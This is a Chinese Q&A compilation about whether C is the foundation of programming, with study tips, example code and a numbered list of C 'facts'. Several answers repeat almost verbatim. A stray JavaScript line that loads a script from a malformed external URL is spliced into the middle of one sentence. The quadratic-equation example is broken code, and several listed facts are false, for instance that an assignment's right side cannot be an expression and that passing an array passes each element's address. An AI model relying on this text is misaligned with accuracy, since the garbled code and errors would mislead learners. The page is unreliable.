c语言是基础

㈠ c语言是不是基础

没错，c语言是计算机语言的基础，一是计算机语言的灵魂，如果你学过了basic之类的简单语种，你就会发现c语言的博大精深，这种语言既有便携的简洁性，十分方便，也有很强大的运算性，仅仅次于汇编语言。可谓是计算机的核心，他强就强在单体编程。如果你想学计算机语言，c语言绝对是基础

㈡ 为什么说c语言是编程的重要基础

除了汇编语言，就是c语言最接近硬件了。c语言可以用来编写操作系统等基础性软件系统。c语言也派生出了C十十，C＃等语言，java等也吸收了C语言的许多特征。因此，c语言是编程的重要基础。

㈢ C语言只是一个学习其他语言的基础吗

不是C语言只是一个基础编程语言，但不是只是学习基础，所有软件开发里（所有编程，比如包括你U盘里内嵌的小程序的源码），C语言使用率始终排行第一。。。C语言是最基础的语言,他和汇编语言很接近，所以他从事的都是基础编程，构建底层环境，比如操作系统，程序编译器，你不可能指望一个java编译器本身是由java做的，语言越高级，他要求的软件环境越高，但这些运行环境并不是由这种高级语言编写的，他们也没这个能力。。。。

㈣ c语言是所有语言的基础吗

不是C语言只是一个基础编程语言，但不是只是学习基础，所有软件开发里（所有编程，比如包括你U盘里内嵌的小程序的源码），C语言使用率始终排行第一。

C语言是最基础的语言和汇编语言很接近，是一门通用计算机编程语言，应用广泛。

所以C语言从事的都是基础编程，构建底层环境，比如操作系统，程序编译器，不可能指望一个java编译器本身是由java做的，语言越高级，要求的软件环境越高，但这些运行环境并不是由这种高级语言编写的。

(4)c语言是基础扩展阅读：

c语言特点：

1、C语言是一个有结构化程序设计、具有变量作用域（variable scope）以及递归功能的过程式语言。

2、C语言传递参数均是以值传递（pass by value），另外也可以传递指针（a pointer passed by value）。

3、不同的变量类型可以用结构体（struct）组合在一起。

4、只有32个保留字（reserved keywords），使变量、函数命名有更多弹性。

㈤ C语言是不是所有编程的基础

c语言不是所有语言的基础，只是众多编程语言中的一种，很多人在大一就会学习c语言，是因为其学习难度不大，很快就能学习上手。
C语言是一门通用计算机编程语言，应用广泛。C语言的设计目标是提供一种能以简易的方式编译、处理低级存储器、产生少量的机器码以及不需要任何运行环境支持便能运行的编程语言。
c语言特点：
1、C语言是一个有结构化程序设计、具有变量作用域（variable scope）以及递归功能的过程式语言。
2、C语言传递参数均是以值传递（pass by value），另外也可以传递指针（a pointer passed by value）。
3、不同的变量类型可以用结构体（struct）组合在一起。
4、只有32个保留字（reserved keywords），使变量、函数命名有更多弹性。
5、部份的变量类型可以转换，例如整型和字符型变量。
6、通过指针（pointer），C语言可以容易的对存储器进行低级控制。
7、预编译处理（preprocessor）让C语言的编译更具有弹性。

㈥ C语言是编程的基础吗

c语言不是所有语言的基础，只是众多编程语言中的一种，很多人在大一就会学习c语言，是因为其学习难度不大，很快就能学习上手。
C语言是一门通用计算机编程语言，应用广泛。C语言的设计目标是提供一种能以简易的方式编译、处理低级存储器、产生少量的机器码以及不需要任何运行环境支持便能运行的编程语言。
c语言特点：
1、C语言是一个有结构化程序设计、具有变量作用域（variable scope）以及递归功能的过程式语言。
2、C语言传递参数均是以值传递（pass by value），另外也可以传递指针（a pointer passed by value）。
3、不同的变量类型可以用结构体（struct）组合在一起。
4、只有32个保留字（reserved keywords），使变量、函数命名有更多弹性。
5、部份的变量类型可以转换，例如整型和字符型变量。
6、通过指针（pointer），C语言可以容易的对存储器进行低级控制。
7、预编译处理（preprocessor）让C语言的编译更具有弹性。

㈦ C语言基础是什么

一．学好C语言的运算符和运算顺序
这是学好《C程序设计》的基础，C语言的运算非常灵活，功能十分丰富，运算种类远多于其它程序设计语言。在表达式方面较其它程序语言更为简洁，如自加、自减、逗号运算和三目运算使表达式更为简单，但初学者往往会觉的这种表达式难读，关键原因就是对运算符和运算顺序理解不透不全。当多种不同运算组成一个运算表达式，即一个运算式中出现多种运算符时，运算的优先顺序和结合规则显得十分重要。在学习中，只要我们对此合理进行分类，找出它们与我们在数学中所学到运算之间的不同点之后，记住这些运算也就不困难了，有些运算符在理解后更会牢记心中，将来用起来得心应手，而有些可暂时放弃不记，等用到时再记不迟。
先要明确运算符按优先级不同分类，《C程序设计》运算符可分为15种优先级，从高到低，优先级为1 ~ 15，除第2、3级和第14级为从右至左结合外，其它都是从左至右结合，它决定同级运算符的运算顺序.
二．学好C语言的四种程序结构
（1）顺序结构
顺序结构的程序设计是最简单的，只要按照解决问题的顺序写出相应的语句就行，它的执行顺序是自上而下，依次执行。
例如；a = 3，b = 5，现交换a，b的值，这个问题就好像交换两个杯子水，这当然要用到第三个杯子，假如第三个杯子是c，那么正确的程序为： c = a； a = b； b = c； 执行结果是a = 5，b = c = 3如果改变其顺序，写成：a = b； c = a； b = c； 则执行结果就变成a = b = c = 5，不能达到预期的目的，初学者最容易犯这种错误。 顺序结构可以独立使用构成一个简单的完整程序，常见的输入、计算，输出三步曲的程序就是顺序结构，例如计算圆的面积，其程序的语句顺序就是输入圆的半径r，计算s = 3.14159*r*r,输出圆的面积s。不过大多数情况下顺序结构都是作为程序的一部分，与其它结构一起构成一个复杂的程序，例如分支结构中的复合语句、循环结构中的循环体等。
（2） 分支结构
顺序结构的程序虽然能解决计算、输出等问题，但不能做判断再选择。对于要先做判断再选择的问题就要使用分支结构。分支结构的执行是依据一定的条件选择执行路径，而不是严格按照语句出现的物理顺序。分支结构的程序设计方法的关键在于构造合适的分支条件和分析程序流程，根据不同的程序流程选择适当的分支语句。分支结构适合于带有逻辑或关系比较等条件判断的计算，设计这类程序时往往都要先绘制其程序流程图，然后根据程序流程写出源程序，这样做把程序设计分析与语言分开，使得问题简单化，易于理解。程序流程图是根据解题分析所绘制的程序执行流程图。
学习分支结构不要被分支嵌套所迷惑，只要正确绘制出流程图，弄清各分支所要执行的功能，嵌套结构也就不难了。嵌套只不过是分支中又包括分支语句而已，不是新知识，只要对双分支的理解清楚，分支嵌套是不难的。下面我介绍几种基本的分支结构。
①if(条件)
{
分支体
}
这种分支结构中的分支体可以是一条语句，此时“{ }”可以省略，也可以是多条语句即复合语句。它有两条分支路径可选，一是当条件为真，执行分支体，否则跳过分支体，这时分支体就不会执行。如：要计算x的绝对值，根据绝对值定义，我们知道，当x>=0时，其绝对值不变，而x<0时其绝对值是为x的反号，因此程序段为：if(x<0) x=-x;
②if(条件)
{分支1}
else
{分支2}
这是典型的分支结构，如果条件成立，执行分支1，否则执行分支2，分支1和分支2都可以是1条或若干条语句构成。如：求ax^2+bx+c=0的根
分析：因为当b^2-4ac>=0时,方程有两个实根，否则（b^2-4ac<0）有两个共轭复根。其程序段如下：

d=b*b-4*a*c;
if(d>=0)
{x1=(-b+sqrt(d))/2a;
x1=(-b-sqrt(d))/2a;
printf(“x1=%8.4f,x2=%8.4f\n”,x1,x2);
}
else
{r=-b/(2*a);
i =sqrt(-d)/(2*a);
printf(“x1=%8.4f+%8.4fi\n”r, i);
printf(“x2=%8.4f-%8.4fi\n”r,i)
}
③嵌套分支语句：其语句格式为：
if(条件1) {分支1}；
else if（条件2） {分支2}
else if（条件3） {分支3}
……
else if（条件n） {分支n}
else {分支n+1}
嵌套分支语句虽可解决多个入口和出口的问题，但超过3重嵌套后，语句结构变得非常复杂，对于程序的阅读和理解都极为不便，建议嵌套在3重以内，超过3重可以用下面的语句。
④switch开关语句：该语句也是多分支选择语句，到底执行哪一块，取决于开关设置，也就是表达式的值与常量表达式相匹配的那一路，它不同if…else 语句，它的所有分支都是并列的，程序执行时，由第一分支开始查找，如果相匹配，执行其后的块，接着执行第2分支，第3分支……的块，直到遇到break语句；如果不匹配，查找下一个分支是否匹配。这个语句在应用时要特别注意开关条件的合理设置以及break语句的合理应用。
（3）循环结构：
循环结构可以减少源程序重复书写的工作量，用来描述重复执行某段算法的问题，这是程序设计中最能发挥计算机特长的程序结构，C语言中提供四种循环，即goto循环、while循环、do –while循环和for循环。四种循环可以用来处理同一问题，一般情况下它们可以互相代替换，但一般不提倡用goto循环，因为强制改变程序的顺序经常会给程序的运行带来不可预料的错误，在学习中我们主要学习while、do…while、for三种循环。常用的三种循环结构学习的重点在于弄清它们相同与不同之处，以便在不同场合下使用，这就要清楚三种循环的格式和执行顺序，将每种循环的流程图理解透彻后就会明白如何替换使用，如把while循环的例题，用for语句重新编写一个程序，这样能更好地理解它们的作用。特别要注意在循环体内应包含趋于结束的语句（即循环变量值的改变），否则就可能成了一个死循环，这是初学者的一个常见错误。
在学完这三个循环后，应明确它们的异同点：用while和do…while循环时，循环变量的初始化的操作应在循环体之前，而for循环一般在语句1中进行的；while 循环和for循环都是先判断表达式，后执行循环体，而do…while循环是先执行循环体后判断表达式，也就是说do…while的循环体最少被执行一次，而while 循环和for就可能一次都不执行。另外还要注意的是这三种循环都可以用break语句跳出循环，用continue语句结束本次循环，而goto语句与if构成的循环，是不能用break和 continue语句进行控制的。
顺序结构、分支结构和循环结构并不彼此孤立的，在循环中可以有分支、顺序结构，分支中也可以有循环、顺序结构，其实不管哪种结构，我们均可广义的把它们看成一个语句。在实际编程过程中常将这三种结构相互结合以实现各种算法，设计出相应程序，但是要编程的问题较大，编写出的程序就往往很长、结构重复多，造成可读性差，难以理解，解决这个问题的方法是将C程序设计成模块化结构。
(4)模块化程序结构
C语言的模块化程序结构用函数来实现，即将复杂的C程序分为若干模块，每个模块都编写成一个C函数，然后通过主函数调用函数及函数调用函数来实现一大型问题的C程序编写，因此常说：C程序=主函数+子函数。 因此，对函数的定义、调用、值的返回等中要尤其注重理解和应用，并通过上机调试加以巩固。

㈧ 学习C语言的基础是什么

1. 每个C程序有且只有一个主函数main()，且程序必须从main()函数开始执行，并在main()函数中结束。
2. 在C语言中，用e来表示科学计数法时，规定在e的前面必须有数字，后面必须为整数。
3. 用单引号括起来的一个字符常量只能存放一个字符；C语言中没有字符串变量，只能用字符数组来存储字符串。
4. 外部变量在编译时由系统分配永久的内存空间，所以外部变量的类型不是自动存储类别。
5. 在一个函数内的复合语句中定义的变量，只能在这个复合语句范围内有效。
6. 用sizeof(int)计算int类型数据的字节数。
7. C语言运行时，首先系统检查语法的正误，再运行程序的语法；C语言中，可以在一个函数中嵌套一个函数，但是不能在一个函数中定义一个函数；只有在函数外部定义的函数才是外部函数；C语言的子程序有过程和函数两种。
8. 预处理命令行的位置没有规定，只是习惯放在前面；在源文件中的可以有多条预处理命令，但一行只能写一条；宏名的大写只是习惯性的表示；宏替换不仅不占用运行时间还不分配内存空间。
9. feof函数的作用是检查文件是否结束，当结束时返回的值为非零，否则为零。

10. 当定义了数组后，在给其赋值时，不能直接把字符串赋给数组名。
11. 在赋值表达式中，赋值运算符“＝”右侧不能为表达式；在求余运算符中的两侧都必须为整型；在强制类型转换时，类型名应用括号括起来。
12. 静态局部变量，只有当程序结束后，其值才释放。
13. 当调用函数时，实参是一个数组名，则向函数传送的是数组每一个元素的地址。
14. 算法的特点为有零个或多个输入，有一个或多个输出，当相同的输入时，其结果相同；算法正确的程序最终一定会结束。 15. 在C语言中，预处理命令行都以“#”开头；当需要时才用#include<stdio.h>;预处理的作用就是实现宏定义和条件编译。 16. 当数组元素的下标超出了定义的下标范围时，系统不给出“下标越界”的字样，而是得出错误的答案，因此在编程时务必检查下标是否越界。
17. 共用体变量不能作为函数的参数，也不能使函数带回共用体变量。
18. 指向函数的指针变量的定义形式为：数据类型 （*指针变量）（）； ，因此其为指向函数的指针变量。
19. 用C语言编写的代码程序是源程序，只有通过编译、连接才能进行。
20. 在说明为static时，其生存期得到延长，而其作用域并没有改

var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);

变，在定义后系统会自动帮它赋值为0，static为关键字不能被用作它用。
21. 频繁地使用空语句会降低程序的可读性和运算速度。 22. 运算符%两边都应是整数，赋值语句左边应该是变量，而非表达式，强制转换语句强制类型应加括号。
23. 在逻辑运算符中，其两侧的运算符对象为任意合法的表达式即可。
24. 函数fread（&Iarray，2,16，fp）的功能是，从fp所指的数据文件中读取16次2字节的数据存储到数组Iarray中。 25. 整个流式文件也可以随机存取数据，C语言文件中有好多函数可以达到写入数据时，未经输入数据，达到不覆盖的目的，在进行写操作时，系统会自动关闭文件。
26. 使用putchar、getchat、puts、gets、printf、scanf函数时，必须在程序的开头出现包含头文件#include”stdio.h”的命令行，而使用字符串处理函数时，必须在程序的开头出现包含头文件#include”string.h”命令行，而使用数学函数时，必须在程序的开头出现包含头文件#include”math.h”的命令行。
27. 一个斜杠与小于等于127任意数字按一个字符计算，一个斜杠与任意一个字符按一个字符计算。
28. 一个C程序可以有一个或多个程序文件，也可以有一个或多个函数，所以一个C语言程序可以实现多种算法。
29. 根据C语言规定，注释语句可以换行写，并且一个“/*”和

㈨ 学习C语言要些什么基础

• 简单学习C语言的基础：

1. 识字，可以阅读C语言教材。

2. 认识英文字母，标点符合，阿拉伯数字，并可以在电脑上打出来。

㈩ c语言有哪些基础知识

C语言是一门面向过程的、抽象化的通用程序设计语言，广泛应用于底层开发。

C语言能以简易的方式编译、处理低级存储器。C语言是仅产生少量的机器语言以及不需要任何运行环境支持便能运行的高效率程序设计语言。

尽管C语言提供了许多低级处理的功能，但仍然保持着跨平台的特性，以一个标准规格写出的C语言程序可在包括类似嵌入式处理器以及超级计算机等作业平台的许多计算机平台上进行编译。

(10)c语言是基础扩展阅读：

C语言的字符串其实就是以''字符结尾的char型数组，使用字符型并不需要引用库，但是使用字符串就需要C标准库里面的一些用于对字符串进行操作的函数。

它们不同于字符数组。使用这些函数需要引用头文件<string.h>。

在C语言中，输入和输出是经由标准库中的一组函数来实现的。在ANSI C中，这些函数被定义在头文件<stdio.h>；中。